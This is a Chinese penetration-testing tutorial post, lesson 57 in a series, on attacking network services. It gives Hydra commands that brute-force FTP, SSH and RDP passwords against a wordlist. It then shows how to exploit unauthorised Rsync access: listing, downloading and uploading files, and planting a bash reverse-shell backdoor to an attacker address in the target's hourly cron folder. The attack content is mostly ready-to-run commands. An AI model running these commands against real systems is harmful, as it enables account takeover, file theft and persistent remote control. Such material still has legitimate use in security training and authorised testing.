57、服务攻防——应用协议&Rsync&SSH&RDP&漏洞批扫&口令猜解

文章目录


口令猜解------Hydra-FTP&RDP&SSH

  • FTP:文本传输协议,端口21;
  • RDP:windows上远程终端协议,端口3389;
  • SSH:linux远程终端协议,端口22。
bash 复制代码
hydra -L test -P 10top1K.txt <ip地址> ftp -V
hydra -l root -P 10top1K.txt <ip地址> ssh -V
hydra -l administrator -P 10top1K.txt <ip地址> rdp -V

密码项目:fuzzDicts

配置不当------未授权访问---Rsync文件备份

Rsync:linux文件同步的应用程序,常用于本地计算机和远程计算机之间文件同步,端口873

  1. 判断是否存在Rsync未授权访问:rsync rsync://<ip:port>/
    出现上述信息,说明存在rsync未授权访问。

  2. 利用:

    • 读取文件:rsync rsync://<ip:port>/src/
    • 下载文件:rsync rsync://<ip:port>/src/passwd ./
    • 上传文件:rsync -av passwd rsync://<ip:port>/src/tmp/passwd
  3. 反弹shell(借助系统计划任务)

    • 获取信息:rsync rsync://<ip:port>/src/etc/crontab /root/cron.txt(下载到本地查看)
    • 本地创建后门文件
    bash 复制代码
    touch shell //创建文件
    
    //文件内容
    /bin/bash -i >& /dev/tcp/<攻击机ip:port> 0>&1
    
    chmod +x shell //修改文件权限
    • 上传文件:rsync -av shell rsync://<ip:port>/src/etc/cron.hourly(上传到可利用的计划任务中)

fofa爬虫:fofa_viewer

协议漏洞------应用软件-FTP&Proftpd搭建

Proftpd:用于架设ftp服务。

相关推荐
一梦浮华7 分钟前
自学嵌入式 day30 IPC:进程间通信
linux·运维·服务器
电脑能手14 分钟前
遇到该问题:kex_exchange_identification: read: Connection reset`的解决办法
linux·ubuntu·ssh
精英的英32 分钟前
在Ubuntu 24.04主机上创建Ubuntu 14.04编译环境的完整指南
linux·运维·ubuntu
求索小沈33 分钟前
ubuntu22.04安装anaconda
linux·运维·服务器
JAVA拾贝1 小时前
Prometheus+Grafana运维监控并实现钉钉告警
运维·钉钉·grafana·prometheus·运维监控
数通Dinner1 小时前
异步Websocket构建聊天室
运维·网络·websocket·网络协议·信息与通信
云动雨颤2 小时前
Python 自动化办公神器|一键转换所有文档为 PDF
运维·python
Fanmeang2 小时前
OSPF高级特性之FRR
运维·网络·华为·ip·ospf·spf·frr
小张不嚣张꒰ঌ(˚ᆺ˚)໒꒱2 小时前
Centos7在yum当中遇到Could not resolve host: mirrorlist.centos.org解决方案
linux·运维·服务器·centos
Sca_杰2 小时前
centos指令
linux·运维·centos